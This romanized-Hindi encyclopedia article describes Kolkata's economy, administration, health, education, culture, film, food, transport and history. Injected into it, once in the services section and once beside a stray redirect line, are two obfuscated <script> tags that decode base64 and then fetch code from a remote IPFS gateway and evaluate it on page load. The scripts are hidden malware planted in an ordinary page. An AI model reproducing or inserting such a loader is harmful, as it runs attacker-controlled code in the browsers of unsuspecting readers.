vishv mean zyada joot-prasanskaran kolakata mean kiya jata hai. sarvapratham 1870 ke dashak mean joot udyog ki sthapana huee thi aur hugali nadi ke donoan tatoan par shahar ke kendr uttar aur dakshin tak joot milean phaili huee haian. abhiyaantriki is shahar ka ek pramukh udyog hai. isake atirikt yahaan karakhane kee prakar ki upabhokta vastuoan, mukhyatah khady padarth, pey, tambakoo, vastr aur rasayanoan ka nirman v vitaran karate haian. 1947 mean bharat ki azadi ke bad se kolakata ke udyogoan ka patan ho raha hai. isake mukhy karan haian, svatantrata ke samay poorvi bangal ko kho dena, kolakata ke samagr audyogik utpadakata mean kami aur shahar mean audyogik vaividhy ka patan.

vitt evan vyapar

desh ke sangathit vitt bazar mean kolakata sheyar bazar mahattvapoorn bhoomika nibhata hai. kolakata mean videshi baiankoan ka bhi mahattvapoorn vyaparik adhar hai, halaanki aantarashtriy baiankig kendr ke roop mean shahar ka dava kamazor ho gaya hai. koyala khadanoan, joot miloan aur kee vrihad abhiyaantriki udyogoan ki niyantrak ejeansiyaan kolakata mean sthit haian. [[chitr:Kolkata.jpg|kolakata ke bazar mean choo diyaan|thumb|left|250px]] bangal udyog evan vyapar mandal (beangal cheanbar af kamars aiand iandastri), bangal rashtriy udyog evan vyapar mandal (bangal neshanal cheanbar aauf kamars aiand iandastri) aur bharatiy vyapar mandal ke mukhyalay yahian par sthit haian. shahar ki arthavyavastha mukhyatah vyapar par adharit hai. yah is tathy se spasht hai, ki lagabhag 40 pratishat mazadoor vyapar evan vanijy gatividhiyoan mean sanlagn haian. any mahattvapoorn vyavasayoan mean sarvajanik kshetr mean shasakiy vibhag, vittiy sansthan aur chikitsa evan shiksha sansthanoan mean sevaean shamil haian. niji kshetr ki sevaoan mean sheyar bazar, chikitsa evan shiksha sevaean, lekha evan rrinadata sansthaean, vyapar mandal aur vibhinn upayogi sevaean shamil haian.

prashasan evan samajik visheshataean

prashasan

thumb|uchch nyayalay, kolakata|250px kolakata shahar mean shasan ka dayitv kolakata nagar nigam ka hai; shahar ke 100 vardoan se chune hue pratinidhi nigam ki sabha ka nirman karate haian. nigam parshad har varsh ek mahapaur, ek upamahapaur aur nigam ki gatividhiyaan chalane ke lie kee samitiyoan ka chunav karate haian. nigam ka karyakari pramukh ayukt, nirvachit sadasyoan ke prati uttaradayi hota hai. shahar bhi kolakata mahanagar zile ka ek bhag hai, jise kshetriy adhar par yojana banane aur vikas ke paryavekshan ke lie banaya gaya tha.

pashchim bangal ki rajadhani hone ke karan kolakata shahar ke aitihasik rajabhavan mean rajyapal nivas karate haian. rajy vidhanasabha bhi yahian par sachivalay ke sath raitars bildiang mean sthit hai aur kolakata uchch nyayalay bhi yahian par hai. kee rashtriy shasakiy sansthaean kolakata mean hi sthit haian, jinamean neshanal laibreri, bharatiy sangrahalay, bharatiy bhoo-vaijnanik sarvekshan shamil haian. [[chitr:Rajbhavan-Kolkata.jpg|thumb|250px|left|rajabhavan, kolakata]]

sevaean

kolakata shahar mean palta sthit mukhy jal sanyantr ke sath-sath lagabhag 200 mukhy kuoan aur 3,000 chhote kuoan se svachchh jal ki apoorti ki jati hai. kolakata se 386 kilomitar door ganga nadi par bana pharakka baandh samanyatah shahar mean lavanayukt jalapoorti sunishchit karata hai. kintu jalapoorti ki aparyaptata ke karan garmi ke mahinoan mean lavanata ki samasya bani rahati hai. isake atirikt agnishaman ko die jane vale asvachchh jal ka upayog bhi yahaan ke anek nivasi apani dainik avashyakataoan ki poorti ke lie karate haian. kolakata nigam kshetr mean saik doan kilomitar mean mal nikasi vyavastha v satahi jal nikasi vyavastha hai, lekin isake anek hissoan mean aj tak mal nikasi ki uchit vyavastha nahian hai. gad ke jamav ne kee nikasi naliyoan ko sakara bana diya hai. koo da hatane aur pheankane ki vyavastha bhi santoshajanak nahian hai.

chitr:Blockquote-open.gif yahaan ke nagarikoan ne atyadhik jivantata dikhaee hai, jo kala v sanskriti mean unaki abhiruchi aur ek star ki bauddhik ojasvita mean pradarshit hoti hai. yahaan ki rajanitik jagarukata desh mean anyatr durlabh hai. kolakata ke pustak meloan, kala pradarshaniyoan aur sangit sabhaoan mean jaisi bhi d hoti hai, vaisi bharat ke kisi any shahar mean nahian hoti. divaroan par vad-vivad ka achchha-khasa adan-pradan hota hai, jisake karan kolakata ko ishtaharoan ka shahar kaha jane laga hai. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kolakata mean bijali ki apoorti vibhinn srotoan se hoti hai, jinamean kolakata vidyut praday nigam, pashchim bangal rajy vidyut mandal, durgapur pariyojana, bandal tap bijalighar, santaladih bijalighar aur damodar ghati nigam grid shamil haian. halaanki abhi bhi utpadan kshamata aur maang ke bich antar hai, jise hal ke varshoan mean kuchh had tak kam kiya gaya hai. kolakata pulis bal ka prashasan shahar ke pulis ayukt ke adhikar kshetr mean hai, vahi upanagariy pulis bal ko nirdeshit karata hai. nagar ko char pulis kshetroan mean vibhajit kiya gaya hai. agnishaman mukhyalay madhy kolakata mean hai.

svasthy

kolakata se chechak ka poornataya unmoolan kar diya gaya hai aur maleriya v aantrashoth se hone vali mautoan ko bhi bahut had tak niyantrit kar liya gaya hai. kshayarog ke mamale bhi kam ho ge haian. kolakata nagar nigam aur sevarth nyasoan dvara chalae ja rahe saik doan aspatal, niji chikitsalay, niahshulk aushadhalay aur rajy dvara chalae ja rahe bahuuddeshyiy aspatal (p aauliklinik) kolakata kshetr mean apani sevaean de rahe haian. 1979 mean nobel shanti puraskar se sammanit madar teresa dvara 1948 mean sthapit ek sanstha, d ardar af mishanariz af chairiti, shahar ke sabase vipann vargoan ke netrahin, vriddh, maranasann aur kushth rogiyoan ki dekhabhal karati hai. shahar mean chikitsakiy shodh kendr ke atirikt kee chikitsa mahavidyalay bhi haian. prati 1,000 vyaktiyoan par chikitsoan ki sankhya desh ke adhikaansh bhagoan se kolakata mean adhik hai, kintu unaka vitaran asaman hai; chooanki yah shahar bharat ke sampoorn poorvottar kshetr ka chikitsa kendr hai, atah svasthy sevaoan par hamesha atyadhik dabav rahata hai.

shiksha

[[chitr:Kolkata-University.jpg|thumb|250px|kalakatta vishvavidyalay, kolakata]] shiksha lambe samay se kolakata mean uchch samajik star ka parichayak rahi hai. yah shahar bharatiy shiksha ke punarjivan kal se, jisaki shuruat 19vian shatabdi ke prarambhik varshoan mean bangal mean huee, shiksha ka ek kendr raha hai. aangrezi shaili ka pahala vidyalay, d hindoo k aaulej (jo bad mean prezideansi k aaulej kahalaya) 1817 mean sthapit hua. shahar mean prathamik shiksha ka sanchalan pashchimi bangal shasan ke dvara kiya jata hai aur nagar nigam dvara chalae ja rahe vidyalayoan mean yah niahshulk hai. bahut b di sankhya mean bachche niji prabandhan dvara sanchalit manyata prapt vidyalayoan mean shiksha pate haian. adhikaansh uchchatar madhyamik vidyalay, pashchim bangal madhyamik shiksha mandal ke adhin haian aur kuchh kendriy madhyamik shiksha bord v bharatiy madhyamik shiksha parishad ke adhin haian.

kolakata ke vishvavidyalay

• kalakatta vishvavidyalay
• jadavapur vishvavidyalay
• ravindr bharati vishvavidyalay
• rashtriy nyayik vijnan vishvavidyalay
• netaji subhash mukt vishvavidyalay
• bangal abhiyaantriki evan vijnan vishvavidyalay
• svasthy vijnan vishvavidyalay aur
• pashupalan evan matasy palan vijnan vishvavidyalay

pustak m aaul, k aaulej strit, kolakata|thumb|250px in vishvavidyalayoan se sambandhit pramukh mahavidyalay evan sansthan nimnalikhit haian:-

• eshiyatik sosaiti
• bharatiy saankhyiki sansthan
• bharatiy prabandhan sansthan
• meghanath saha anvik bhautiki sansthan
• satyajit re film evan telivijan sansthan
• ramkrishna mishan sanskriti sansthan
• eanthropolojikal sarve aph iandiya
• bos sansthan
• botainikal sarve aph iandiya

saians siti mean dayanasor, kolakata|thumb|250px

• jiyolajikal sarve aph iandiya
• iandiyan ianstityoot aph inapharmeshan teknaloji
• rashtriy homiyopaithi sansthan
• shriramapur k aaulej
• presideansi k aaulej aur
• skatish charch k aaulej

1857 mean sthapit kolakata vishvavidyalay mean 150 se adhik sambandhit mahavidyalayoan ke sath-sath kala (manaviki), vanijy, vidhi, chikitsa vijnan v takanik aur snatakottar shikshan evan shodh mahavidyalay shamil haian. jadavapur vishvavidyalay mean tin dharaean haian, kala (manaviki), vijnan aur abhiyaantriki aur isaka mukhy lakshy ek hi parisar mean snatak v snatakottar star ki shiksha pradan karana hai. ravindr bharati vishvavidyalay manaviki aur lalit kalaoan mean, jinamean nrity, natak v sangit shamil haian, visheshajnata pradan karata hai. shodh sansthanoan mean bharatiy saankhyiki sansthan, bharatiy vijnan parishkaran sangh, bos sansthan (prakritik vijnan) aur akhil bharatiy svasthy vijnan evan janasvasthy sansthan shamil haian.

saanskritik jivan

kolakata bharat ka sabase mahattvapoorn saanskritik kendr hai. yah adhunik bharat ke sahityik evan kalatmak vicharoan aur bharatiy rashtravad ka janmasthal hai aur yahaan ke nagarikoan dvara bharatiy sanskriti v sabhyata ke sanrakshan ke prayas ki misal desh mean anyatr nahian milati. sadiyoan se poorv aur pashchimi saanskritik prabhavoan ke sammimishran ne asankhy vividh sangathanoan ke nirman ko prerit kiya, jinhoanne kolakata ke saanskritik jivan mean yogadan kiya. inamean eshiyatik sosaiti, bangiy sahity parishad, ramkrishna mishan saanskritik sansthan, lalit kala akadami, bi dala kala evan saanskritik akadami aur mahabodhi sosaiti shamil hean. nandan, nazarool manch aur girish manch nee aur sarvadhik sakriy sansthaean haian shahar ka ek pramukh akarshan hai, sains siti, eshiya mean apane prakar ka sabase pahala shahar hai.

sangrahalay evan pustakalay

[[chitr:National-Library-Calcutta.jpg|thumb|250px|rashtriy pustakalay, kolakata|left]] vrihad kolakata mean 30 se adhik sangrahalay hai, jo vividh vishayoan par adharit haian. 1814 mean sthapit 'iandiyan myooziyam' bharat mean sabase purana aur apani tarah ka desh ka sabase b da sangrahalay hai. puratattv aur mudravishayak khandoan mean sabase moolyavan sangrah haian. viktoriya memoriyal mean pradarshit vastuean bharat ke sath briten ke sambandh ko darshati haian. kolakata vishvavidyalay mean bharatiy kala ka ashutosh sangrahalay apane sangrah mean bangal ki lokakala ka pradarshan karata hai. moolyavan granthoan ka sangrah eshiyatik sosaiti, bangiy sahity parishad aur kalakatta vishvavidyalay mean vidyaman haian; neshanal laibreri bharat mean sabase b di hai aur isamean durlabh granthoan aur hastalipiyoan ka shreshth sangrah hai.

chitr:Blockquote-open.gif is andolan ke mahattvapoorn pranetaoan mean se ek ravindranath taigor the, jinhean 1913 mean sahity ka nobel puraskar pradan kiya gaya. chitr:Blockquote-close.gif

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kala

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kolakata vasi lambe samay se sahity v kala kshetroan mean sakriy rahe haian. 19vian shatabdi ke madhy mean yahaan pashchimi shiksha se prabhavit sahityik andolan ka uday hua, jisane sampoorn bharat mean sahityik punarjagaran kiya. is andolan ke mahattvapoorn pranetaoan mean se ek ravindranath taigor the, jinhean 1913 mean sahity ka nobel puraskar pradan kiya gaya. unaki kavita, sangit, natak aur chitrakala mean ullekhaniy srijanatmakata ne shahar ke saanskritik jivan ka samriddh kiya. kolakata paramparik evan samakalin sangit aur nrity ka bhi kendr hai. 1937 mean taigor ne kolakata mean pahale akhil bangal sangit samaroh ka udghatan kiya tha. tabhi se prativarsh yahaan par kee bharatiy shastriy sangit samaroh ayojit kie jate haian. kee shastriy nartakoan ka ghar kolakata paramparik nrity kala mean pashchim ki manchiy takanik ko apanane ke uday shankar ke prayog ka sthal bhi tha. 1965 se unake dvara sthapit nrity, sangit aur natak shalaean shahar mean vidyaman haian. 1870 ke dashak mean neshanal thietar ki sthapana ke sath hi kolakata mean vyavasayik natakoan ki shuruat huee. shahar mean natakoan ke adhunik roopoan ki shuruat girishachandr ghosh aur dinabandhu mitr jaise natakakaroan ne ki. kolakata aj bhi vyavasayik v shauqiya rangamanch aur prayogadharmi natakoan ka ek mahattvapoorn kendr hai. yah shahar bharat mean chalachitr nirman ka prarambhik kendr bhi raha hai. prayogadharmi film nirdeshak satyajit ray aur mrinal sen ne aantarrashtriy star par prashansa paee hai. shahar mean kee sinemaghar haian, jinamean niyamit roop se aangrezi, baangla aur hindi filmean dikhaee jati haian.

kolakata se sambandhit kala kshetr ke vyakti

kalakar	gayak
jemini r aauy (chitrakar)	dvijendr lal r aauy
samir r aauy chaudhari (chitrakar)	ke. si. dev
paritosh sen	qazi nazarul islam
jogen chaudhari (chitrakar)	gauhar jan
anil kumar dattta	pankaj malik
sudip r aauy (chitrakar)	kanan devi
uttam kumar (abhineta)	ritu guha
utpal datt (abhineta)	kanika bandyopadhyay
pramathesh barua (abhineta)	suhchitra mitr
robi ghosh (abhineta)	hemant kumar mukhopadhyay
kanan devi (abhinetri)	manna de
ruma guha thakur (abhinetri)	kishor kumar
suchitra sen (abhinetri)	sandhya mukhopadhyay
prasonajit (abhineta)	begam akhtar
viktar bainarji (abhineta)	aj aauy chakravarti
saumitr chatarji (abhineta)	oosha utthup
mithun chakravarti (abhineta)	sumitra ghosh
sharmila taigor (abhinetri)	shreya ghoshal
uday shankar (nartak)	ruma guha
amala shankar (nartak)	svagatalakshmi dasagupta
anand shankar (nartak)	suman chatarji
pi. si. sorakar (jadoogar)	salil chaudhari
pi. si. sorakar (joo.) (jadoogar)	aanjan datt
manik sorakar (jadoogar)	nachiketa
pannalal ghosh (baansuri vadak)
nirdeshak / natakakar	sangitakar
satyajit ray	rahul dev barman
mrinal sen	sachin dev barman
rritvik ghatak	pritam
buddhadeb dasagupta	chandan
gautam ghosh	shaantanu moitra
aparna sen	aanjan chakravarti
rrituparno ghosh	bappi lahari
nitin bos	ali akabar khan
anis ghosh (natak kar evan nirdeshak)	ravi shankar
sambhoo mitr (natak kar evan nirdeshak)	anand shankar
bibhas chakravarti (natak kar evan nirdeshak)	vilayat khan
	b de gulam ali khan
	rashid khan
	nikhil bainarji
	amazad ali khan
	bahadur khan

thumb|120px|saurav gaanguli

manoranjan

kolakata nagar nigam 200 se adhik bagichoan, chaurahoan aur khule maidanoan ki dekharekh karata hai. halaanki shahar ke bhi d bhare hissoan mean bahut kam sthan hai. lagabhag 3.2 kilomitar lamba aur 1.6 kilomitar chau da maidan sabase prasiddh khula sthan hai. yahian par phutabal, kriket aur h aauki ke pramukh maidan haian. maidan se laga hua hai, vishv ke sabase purane kriket maidanoan mean se ek, eedan gardan mean ranaji stediyam; charadivari mean khele jane vale kheloan ke lie netaji stediyam pas hi hai. nagar ke poorv mean bane salt lek stediyam mean ek lakh darshak baith sakate haian. shahar mean do ghu dadau d maidan aur do golf maidan haian aur nauka vihar ke lie lek klab aur bangal naukayan sangh lokapriy hai. lagabhag 20 hekteyar se adhik kshetr mean chi diyaghar phaila hua hai. ganga nadi ke pashchimi tat par bharatiy vanaspatik udyan sthit hai. isake vanaspati sangrahalayoan mean paudhoan ki lagabhag 40 hazar prajatiyaan haian.

kolakata mean khel ke maidan	kolakata se sambandhit khila di evan khel prashasak
nam chitr eeden gardan 80px salt lek siti stediyam 80px res kors 80px phort viliyam stediyam netaji subhashachandr bos inh‍dor sh‍tediyam	khila di olanpik padak vijeta khel prashasak saurav gaanguli (kriketar) norman prichard (ethalit) 1900 pankaj gupta pankaj r aauy (kriketar) lesil kl aaudiyas (h aauki) 1924, 1928, 1936 jagamohan dalamiya mihir sen (tairak) gurabaks sianh (h aauki) 1964, 1968 jyotirmoyi sikadar (ethalit) ves pes (h aauki) 1980 arjun ataval (golphar) lieandar pes (tenis) 1996 soory shekhar gaanguli (shantaranj)

kalakatta film sabha

bharat ke pashchim bangal praant ke kolakata nagar mean kalakatta film sabha ka praranbh 1947 mean satyajit ray, chidanand dasagupta aur kuchh any logoan ne kiya tha.

kolakata se sambandhit pramukh filmean

bangali filmean	aangrezi filmean	hindi filmean
film nirdeshak pather paanchali satyajit ray apur sansar satyajit ray mahanagar satyajit ray agantuk satyajit ray kalakatta 71 mrinal sen iantaravyoo mrinal sen iantaravyoo mrinal sen ek din pratidin mrinal sen aantahin mrinal sen meghe dhak tara rritvik ghatak jukti takko ar gappo rritvik ghatak parama aparna sen unshi aprel aparna sen chokher bali rituparno ghosh	film nirdeshak Calcutta Louis Malle 36 Chowringhee Lane Aparna Sen City of Joy Roland Joff Citi Life Sen Mrinal Sen 10 Days in Calcutta Gerhard Hauff Bow Barracks Forever Anjan Dutt 15 Park Avenue Aparna Sen	film nirdeshak hav da brij shakti samant amar prem shakti samant do bigha zamin bimal r aauy devadas (1936) pi. si. barua devadas (1955) bimal r aauy devadas (2002) sanjay lila bhansali ram teri ganga maili raj kapoor kalakatta mel sudhir mishra hazar chaurasi ki maan goviand nihalani parinita pradip sarakar yuva maniratnam renakot rituparno ghosh

khanapan

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bhojan

kolakata bhojan ke mamale mean ek prasiddh shahar hai. kolakata mean bhojan kafi sash‍ta milata hai. kolakata mean kalighat ki taraph 'komal vilas hotal' mean kele ke patte par dakshin bharatiy bhojan parosa jata hai. jatin das rod par sthit 'ray udupi hom' mean bhi achh‍chha bhojan milata hai.

bhojan
samish bhojan	agar ap samish bhojan khana pasand karate haian to kalakatta mean rasabihari rod par sthit 'bachh‍chan m aaurdan hotal' mean apako laziz reshami kabab tatha murg tikh‍ka mil jaega.	80px
bangali bhojan	agar ap bangali bhojan karana pasand karate hai to jatin das rod par apako machhali se bane vibhinh‍n prakar ke vh‍yanjan mil jaeange. sauth kotala mean eligan len par sthit 'kh‍yoopiz' bangali bhojan ke lie prasiddh hai. yahaan bhojan kele ke patte par parosa jata hai.	80px
shakahari bhojan	agar ap shakahari bhojan khana pasand karate haian to bangal mean shakahariyoan ke lie dokar-dalana namak vh‍yanjan milata hai.	80px
chainij bhojan	agar ap chainij bhojan khana pasand karate haian to laiansadaun rod par apako kee aise resh‍toreant mil jaeange jahaan apako chainij bhojan mil jaega. chaina taun mean kuchh behatarin chainij resh‍toreant hai. bijiang, kimaliang tatha kafook aise hi resh‍torenh‍t hai. yahaan sabhi prakar ke chainij khana mil jate haian.	80px
rajash‍thani tatha uttari bharatiy bhojan	agar ap rajash‍thani tatha uttari bharatiy bhojan khana pasand karate haian to rasel sh‍trit mean sthit hotal taj mean apako rajash‍thani tatha uttar bharatiy bhojan mil jaega.	80px

yahaan sthit markopolo hotal mean apako har tarah ka vh‍yanjan mil jaega. park sh‍trit par sthit 'mokanbo' hotal k aaunh‍tinenh‍tal phish ke lie prasiddh hai. yahian par 'sauravs' hai jo kriketar saurav gaanguli ka restoreant hai. yahaan bhi sabhi prakar ka bhojan milata hai. lekin sabase vishesh bat yah ki agar ap kolakata jaean to yahaan ka rasagulh‍la khana n bhoolean. kolakata ka rasagulla poore bharat mean prasiddh hai.

rasagulla

[[chitr:Rasogolla-Kolkata-1.jpg|rasagulla|thumb|250px]]

mukhy lekh : rasagulla

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• kolakata ki prasiddh mithaee rasagulla hai.
• rasagulle ka nam sunakar sabhi ke muanh mean pani bhar ata hai.
• rasagulle ko mithaiyoan ka raja kaha ja sakata hai.
• yah to ap janate hi hogean ki rasagulla ek bangali mithaee hai. bangali log rasagulla ko roshogulla kahate haian.

yatayat

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tram, kolakata|thumb|220px kolakata mean jan yatayat kolakata upanagariy relave, kolakata metro, tram aur basoan dvara upalabdh hai. vyapak upanagariy jal sudoor upanagariy kshetroan tak phaila hua hai. bharatiy rel dvara sanchalit kolakata metro bharat mean sabase purani bhoomigat yatayat pranali hai. ye shahar mean uttar se dakshin disha mean hugali nadi ke samanaantar shahar ki lanbaee ko 16.45 ki.mi. mean napati hai. yahaan ke adhikaansh logoan dvara basoan ko prathamik taur par yatayat ke lie prayog kiya jata hai. yahaan sarakari evan niji aauparetaroan dvara basean sanchalit haian. bharat mean kolakata ekamatr shahar hai, jahaan tram seva upalabdh hai. tram seva kailkata tramavez kanpani dvara sanchalit hai. tram mand-gati chalit yatayat hai, v shahar ke kuchh hi kshetroan mean simit hai. manasoon ke samay bhari varsha ke chalate kee bar lok-yatayat mean vyavadhan p data hai.

• bha de par upalabdh yaantrik yatayat mean pili mitar-taiksi aur aauto-riksha haian. kolakata mean lagabhag sabhi pili taiksiyaan embesaidar hi haian. kolakata ke alava any shaharoan mean adhikatar tata iandika ya phiet hi taiksi ke roop mean chalati haian. shahar ke kuchh kshetroan mean saikil-riksha aur hath-chalit riksha abhi bhi sthaniy chhoti dooriyoan ke lie prachalan mean haian. any shaharoan ki apeksha yahaan niji vahan kafi kam haian. aisa anek prakaroan ke lok yatayat ki adhikata ke karan hai. halaanki shahar ne niji vahanoan ke panjikaran mean achchhi b dottari dekhi hai. varsh 2002 ke aank doan ke anusar pichhale sat varshoan mean vahanoan ki sankhya mean 44% ki badhat dikhi hai. shahar ke janasankhya ghanatv ki apeksha s dak bhoomi matr 6% hai, jahaan dilli mean yah 23% aur muanbee mean 17% hai. yahi yatayat jam ka mukhy karan hai. is disha mean kolakata metro relave tatha bahut se naye phlaee-ovaroan tatha nayi s dakoan ke nirman ne shahar ko kafi rahat di hai. thumb|250px|metro steshan, kolakata|left
• shahar ke viman sanpark hetu netaji subhash chandr bos aantarrashtriy havaee adda dam dam mean sthit hai. yah vimanakshetr shahar ke uttari chhor par hai v yahaan se donoan, antardeshiy aur antarrashtriy u danean chalati haian. yah nagar poorvi bharat ka ek pradhan bandaragah hai. kolakata port trast hi kolakata pattan aur haldiya pattan ka prabandhan karata hai. yahaan se aandaman nikobar dvipasamooh mean port bleyar ke liye yatri jahaz aur bharat ke any bandaragahoan tatha videshoan ke lie bharatiy shipiang nigam ke mal-jahaz chalate haian. yahian se kolakata ke dvi-shahar hav da ke lie pheri-seva bhi chalati hai. kolakata mean do b de relave steshan haian jiname ek hav da aur doosara siyaladah mean hai, hav da tulanatmak roop se zyada b da steshan hai jabaki siyaladah se sthaniy sevaean zyada haian. shahar mean uttar mean damadam mean netaji subhashachandr bos aantarrashtriy havaee adda jo shahar ko desh videsh se jo data hai.

kolakata metro rel
kolakata mean do mukhy lanbi dooriyoan ki ga diyoan vale relave steshan haian- hav da jankshan aur siyaladah jankshan. kolakata nam se ek naya steshan 2006 mean hi banaya gaya hai. kolakata shahar bharatiy relave ke do mandaloan ka mukhyalay hai:-

• poorvi relave aur
• dakshin-poorv relave.

parivahan

kolakata shahar mean s dakoan ki halat dayaniy hai, halaanki yatayat ka dabav bahut adhik hai. jan yatayat vyavastha mukhy roop mean basoan aur mahanagariy relave (metro) par nirbhar hai. basean sarakar aur niji kampaniyoan ke dvara chalaee jati haian. desh ki pahali bhoomigat relave pranali, metro ki shuruat 1986 mean huee thi, aur ab yah nagar mean yatayat ka pramukh sadhan hai, jisase lagabhag 20 lakh yatri pratidin yatra karate haian. thumb|siti bas, kolakata|250px apane pashchimi prishth bhag se sambandh ke lie kolakata keval hugali nadi par bane kuchh puloan par nirbhar hai. hav da pul aur sudoor uttar mean bali aur naihati mean bane pul. kolakata ko prishth bhag se jo dane vali mukhy k di hav da pul par vahan yatayat ki ath panktiyaan haian aur yah vishv mean adhik upayog kie jane vale puloan mean se ek hai. hav da aur kolakata ke bich ek doosare pul, vidyasagar setu ka prayog bhi kiya jata hai. graiand trank rod (rashtriy rajamarg sankhya-2) bharat ke sabase purane margoan mean se ek hai. yah hav da se kashmir tak jata hai aur shahar ko uttar bharat se jo dane vala mukhy marg hai. any rashtriy rajamarg kolakata ko bharat ke pashchimi tat, uttari bangal aur baangladesh ki simaoan se jo date haian. do relave tarminal, pashchimi tat par hav da aur poorv mean siyaladah, uttar aur dakshin ke sath-sath poorv aur pashchim mean phaile relave sanjal ko sanchalit karate haian. kolakata ka pramukh havaee adda damadam mean sthit hai, jahaan se aantarashtriy v ghareloo u danoan ka avagaman hota hai. akar ke sandarbh mean kolakata bandaragah bharat ke ayatit jahazi mal ke 1/10 bhag aur usake niryatit jahazi mal ke lagabhag 1/12 bhag ko niyantrit karata hai. halaanki, kuchh aanshoan mean nadi se gad nikalane ki samasya aur aanshatah shramik samasyaoan ka samana karane ke karan yatayat mean kuchh kami aee hai. parivahan, bhandaran, thok vikram aur kherachi vikray, niryat aur ayat sambandhi avashyakataoan ka sankeandran kolakata aur hav da mean hai. kolakata bandaragah bharat ke sabase pramukh jahazi mal niyantrak ki 1960 ke dashak ki apani sthiti ab kho chuka hai, kintu aj bhi yah aur haldiya bandaragah (lagabhag 64 kilomitar niche ki or) desh ki videshi vinimay mudra ka ek b da bhag arjit karate haian. thumb|250px|left|metro kolakata

kaise pahuanche

havaee marg

kolakata mean damadam havaee adda hai. yahaan desh ke lagabhag har rajh‍y tatha har mahath‍vapoorn shahar se sidhi u danean upalabh‍dh hai. sath hi yah havaee adda videshoan se bhi niyamit u dan dvara ju da hua hai.

rel marg

hav da tatha siyaladah yahaan ke do mahath‍vapoorn relave sh‍teshan hai. yahaan se desh ke lagabhag har shahar ke lie rel seva upalabh‍dh hai.

s dak marg

kolakata shahar rashh‍triy rajamarg tatha rajh‍y rajamarg se poore desh se ju da hua hai. yah rashh‍triy rajamarg sankhh‍ya 2 se dilli tatha rashh‍triy rajamarg sankhh‍ya 6 se muanbee aur chennee se ju da hua hai. yahaan se dhaka, nepal tatha bhootan sima ke nikatavarti sh‍thanoan ke lie bhi basean jati hai.

paryatan

50px|durga pooja

50px|saians siti mean dayanasor

50px|rasagulla

50px|jain mandir, kolakata

50px|dakshineshvar kali mandir

50px|eeden gardan stediyam

50px|kalakatta vishvavidyalay

50px|kolakata ke bazar mean choo diyaan

50px|hav da brij

50px|kolakata ke bazar mean tauliyaan

50px|salt lek siti stediyam

50px|tram, kolakata

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kolakata ek dharmik shahar hai. yahaan apako har g‍li mean mandir, masjid, charch, gurudvara, yahoodi sabhagar adi mil jaeange. in mandiroan aur masjidoan ke alava bhi yahaan dekhane layaq bahut kuchh hai. yahaan sangrahalay, aitihasik bhavan, art gailariyaan bhi haian jinh‍hean ap dekh sakate haian.

varsh	tithi kram

15vian shatabdi	kolakata ka zikr bipradas ke 15vian shatabdi ke prasiddh upanyas 'manas mangal' mean paya jata hai. upanyas ke charitr 'chaand saudagar saptagram' ke marg mean p dane vale kalighat ke kali devi ke mandir mean pooja karane jate haian.
1530	jab purtagali pahali bar bangal aye tab chittagoang aur saptagram vyapar ke b de kendr ke roop mean ubhare.
1596	badashah akabar ke navaratnoan mean se ek, abul fazal dvara likhe 'aine-akabari' mean satagaanv (saptagram) rajy mean kalakatta ka zikr ata hai.
1690	eest iandiya kampani (sthapit 1600) ke pratinidhi j aaub charnok sootaniti gaanv mean akar base.
1693	j aaub charnok ka nidhan.
1696	kalakatta ke karakhane ko qila banane ka kary prarambh kiya gaya.
1698	eest iandiya kampani ne sthaniy zamiandar sabarn chaudhari se tin gaanv (sootaniti, kolikata, gobindapur) kharide.
1699	eest iandiya kampani ne kalakatta ka rajadhani ke roop mean vikas shuroo kiya.
1707	mugal shasak aurangazeb ka nidhan.
1715	agrezoan ne purane qile ka nirman poora kiya.
1717	mugal shasak farrukhasyar ne eest iandiya kampani ko salana 3000 rupe ke bhugatan par vyapar ki anumati di.
1727	kiang j aaurj pratham ke nirdeshanusar divani adalat ke sath nagar nigam ki sthapana huee aur h aaulavail nagar ke pratham mahapalikadhyaksh bane.
1740	alivardi khaan bangal ke navab bane.
1756	alivardi khaan ka nidhan hua aur shiraj-ud-daula bangal ke navab bane. shiraj-ud-daula ne kalakatta par qabza kiya aur shahar ka nam alinagar rakha.
1757	plasi (zila nadiya) ki l daee mean agrezoan ne r aaubart klaiv ke netritv mean shiraj-ud-daula ko haraya.
1757	agrezi mudra sabase pahale kalakatta ke takasal mean dhali gee.
1765	klaiv ne badashah alam dvitiy (dilli) se bangal, bihar aur u disa ke chuangi adhikar prapt kiye.
1770	bangal mean akal p da.
1772	gavarnar janaral v aauran hestiangs ne british bharat ki rajadhani murshidabad se kalakatta badali.
1775	v aauran hestiangs par bhrashtachar ka arop lagane par ek sthaniy zamiandar nand kumar ko jhoothe aropoan par phaansi di gee.
1780	'd bangal gazet'(The Bengal Gazzette) akhabar ka chhapaee karakhana jems hiki dvara sthapit kiya gaya.
1784	pahala adhikarik akhabar "d kalakatta gazet" (The Calcutta Gazzette) ka prakashan.
1784	sar viliyam j aauns ki pahal se "aishiyatik samaj" (Asiatic Society) sthapit hua.
1795	pahala bangali naty "kalpanik git badol" jerasim s. lebedef dvara rangamanch par laya gaya
1801	phort viliyam k aaulej ki sthapana
1804	gavarnar ka ghar (vartaman samay mean raj bhavan) ka nirman hua
1813	taun h aaul ka nirman hua
1818	pahali bangali patrika "digadarshan" ka prakashan shriramapur mean devid hare ki madad se hua

kolakata par likhi kitabean

kitab ka nam	lekhak ka nam
siti aauf dedaful naits end amerikan tels	rudayard kipaliang
siti aauf j aauy	domaniq lepiyar
kalakatta:d liviang siti bhag-1 & 2	sukaant chaudhari
kalakatta 1981	jin resin
kalakatta:siti aauf pailesez- e sarve aauf d siti in d dej aauf d eest iandiya kanpani 1690-1858	jeremiyaha pi. losti

kolakata par ek kavita

thumb|250px|kolakata shahar ka ek drishy

Thus the midday halt of Charnock – more’s the pity! -
Grew a City
As the fungus sprouts chaotic from its bed
So it spread
